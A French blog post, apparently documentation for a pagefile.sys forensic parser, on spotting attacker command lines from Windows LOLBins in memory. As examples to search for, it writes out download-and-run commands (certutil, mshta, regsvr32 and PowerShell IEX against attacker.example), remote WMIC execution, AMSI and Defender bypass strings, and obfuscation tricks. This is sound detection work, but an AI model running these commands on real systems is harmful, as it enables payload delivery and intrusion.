Détecter des lignes de commande malveillantes dans pagefile.sys
20/05/2026 · 5 min de lecture
Quand un attaquant exécute quoi que ce soit sur un hôte Windows, la
ligne de commande vit en mémoire aussi longtemps que le processus parent
existe — et souvent plus longtemps dans des caches comme les tampons
d'événements de Sysmon, l'historique de cmd.exe, et les structures
PROCESSINFO du noyau. Quand cette mémoire est paginée, la ligne de
commande atterrit dans pagefile.sys.
L'onglet Artifacts → Command lines du parser attrape automatiquement les motifs les plus courants. Ce billet sert de référence sur ce que sont ces motifs, leur allure et la façon dont les attaquants tentent de les obfusquer.
La shortlist des LOLBin
Les binaires Windows que les attaquants utilisent le plus souvent, qui produisent tous des formes de lignes de commande caractéristiques :
| Binaire | Pourquoi les attaquants l'utilisent |
|---|---|
powershell.exe / pwsh.exe | Scripting, payloads encodés, contournements AMSI |
cmd.exe | Accès shell, pipes, downloaders simples |
certutil.exe | -urlcache -split -f — downloader de fichiers, décodage base64 |
bitsadmin.exe | transfer myjob /download … — downloader de fichiers |
mshta.exe | Exécute HTA / JScript / VBS depuis une URL |
rundll32.exe | Charge une DLL arbitraire, exécute un export nommé |
regsvr32.exe | « Squiblydoo » — /s /i:http://…/payload.sct scrobj.dll |
wmic.exe | process call create, mouvement latéral |
wscript.exe / cscript.exe | Exécution de VBS / JScript |
installutil.exe | Contournement AppLocker via .NET InstallUtil |
msbuild.exe | Exécution inline-task de C# arbitraire |
Motifs PowerShell
PowerShell est de loin la première source de lignes de commande d'attaquants dans les dumps de pagefile. Ce qu'il faut grepper :
powershell.exe -nop -w hidden -enc <base64>
powershell -ExecutionPolicy Bypass -File C:\…
powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://…')"
powershell -EncodedCommand <base64>
pwsh -nop -ep bypass -c "…"
La commande encodée est la plus utile : décodez-la en base64 (le
contenu est en UTF-16LE) et vous obtenez la source PowerShell réelle.
L'onglet Artifacts → Command lines du parser capture jusqu'à 256
caractères suivant le token powershell, ce qui suffit en général à
capturer le payload -enc complet.
Quand vous voyez -enc ou -EncodedCommand :
echo "<base64>" | base64 -d | iconv -f UTF-16LE -t UTF-8
… pour le décoder.
Autres indices PowerShell à grepper dans l'onglet Strings :
[System.Net.WebClient],Net.WebClient,DownloadString,DownloadFile.Invoke-Expression,IEX,iex.[System.Reflection.Assembly]::Load,[Reflection.Assembly]::Load— chargement .NET en mémoire.[Convert]::FromBase64String— presque toujours suivi d'un payload.AmsiUtils,amsiInitFailed— tentatives de contournement AMSI.Set-MpPreference -DisableRealtimeMonitoring— désactivation de Defender.
Downloaders certutil
Un motif classique de téléchargement de fichier :
certutil.exe -urlcache -split -f http://attacker.example/payload.exe out.exe
certutil -urlcache -split -f https://… encoded.b64
certutil -decode encoded.b64 out.exe
certutil est signé par Microsoft et pré-installé partout, ce qui le
rend très apprécié des attaquants. Filtrez l'onglet artefacts Command
lines sur certutil ou greppez l'onglet Strings sur -urlcache.
Downloaders bitsadmin
bitsadmin /transfer myjob /download /priority high http://… C:\Users\Public\x.exe
Moins courant dans les engagements modernes mais encore observé chez les familles de malwares plus anciennes.
mshta et payloads HTA
mshta.exe http://attacker.example/p.hta
mshta vbscript:CreateObject("Wscript.Shell").Run("…")
mshta javascript:…
Les variantes mshta vbscript:… et mshta javascript:… méritent
particulièrement d'être greppées — elles s'exécutent en ligne sans
jamais toucher le disque.
rundll32 + DLL sideloading
rundll32.exe shell32.dll,#61 "C:\…"
rundll32.exe C:\Users\Public\evil.dll,DllMain
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();…
La variante javascript: existe grâce à une bizarrerie de moniker
Microsoft. Filtrez sur rundll32 et inspectez chaque occurrence — la
plupart des appels rundll32 légitimes ont un ordinal numérique ou un nom
de DLL Microsoft reconnaissable ; tout ce qui charge depuis %TEMP%,
%PUBLIC%, %PROGRAMDATA% ou un profil utilisateur est suspect.
regsvr32 « Squiblydoo »
regsvr32 /s /n /u /i:http://attacker.example/payload.sct scrobj.dll
Un binaire Microsoft signé qui charge du scriptlet à distance. Cherchez
regsvr32 + http.
WMIC pour le mouvement latéral
wmic /node:target process call create "powershell -enc …"
wmic process where name='lsass.exe' get processid
wmic /node: est le pistolet fumant du mouvement latéral — un usage
administratif légitime est rare sur les postes de travail.
Obfuscation living-off-the-land
Les attaquants du monde réel obfusquent. Astuces courantes qui laissent malgré tout des fragments lisibles dans le pagefile :
- Chaînes inversées :
('xeotuper' | ForEach-Object {…})— lire la chaîne à l'envers. - Tableaux de codes caractères :
[char[]](0x70,0x6f,0x77,…)— décoder en ASCII. - Concaténation de chaînes :
"po" + "wer" + "shell"— les deux moitiés restent en mémoire comme chaînes décodées. - Substitution de variables d'environnement :
%comspec% /c …,%PSEXEC%. - Alternance de casse :
PoWeRsHeLl— la casse n'a pas d'importance pour Windows mais piège un grep naïf. Les regex du parser sont insensibles à la casse par défaut.
La chaîne décodée finit presque toujours en mémoire à l'exécution — donc même quand l'invocation est obfusquée, la ligne de commande effective apparaît à proximité sous forme de chaînes lisibles.
Recoupement avec des horodatages
Un pagefile seul n'a pas d'horodatages. Pour ancrer une trouvaille dans le temps :
- Associez avec le journal d'événements
Microsoft-Windows-Sysmon/Operational(EventID 1, création de processus) — la même ligne de commande y apparaît avec un horodatage. - Associez avec PowerShell
Microsoft-Windows-PowerShell/Operational(EventID 4104, journal de script blocks). - Associez avec le journal
Security(EventID 4688, création de processus, siAuditProcessCreationest activé avec l'audit de ligne de commande).
Si vous avez aussi ces journaux, le workflow est : trouver la ligne de commande suspecte dans le pagefile → la rapprocher de l'enregistrement EVTX → obtenir l'arbre de processus, le parent, l'utilisateur, l'horodatage.
Ce que la regex de cet outil attrape
La regex d'artefact command matche jusqu'à 256 caractères suivant l'un
de : cmd.exe, powershell / pwsh, wscript.exe, cscript.exe,
rundll32.exe, mshta.exe, regsvr32.exe, certutil.exe,
bitsadmin.exe. Insensible à la casse. Cela couvre la majorité du
tradecraft pratique des attaquants.
Pour le reste — wmic, installutil, msbuild,
vssadmin delete shadows, etc. — utilisez l'onglet Strings et
filtrez à la main.
Liens connexes
- Comment fonctionne réellement la forensique de pagefile.sys — à quoi ressemble le catalogue regex au complet.
- Trouver des identifiants dans pagefile.sys — beaucoup de lignes de commande incluent des credentials inline.
- Comment acquérir pagefile.sys — récupérez le fichier avant que le beacon de l'attaquant ne revienne.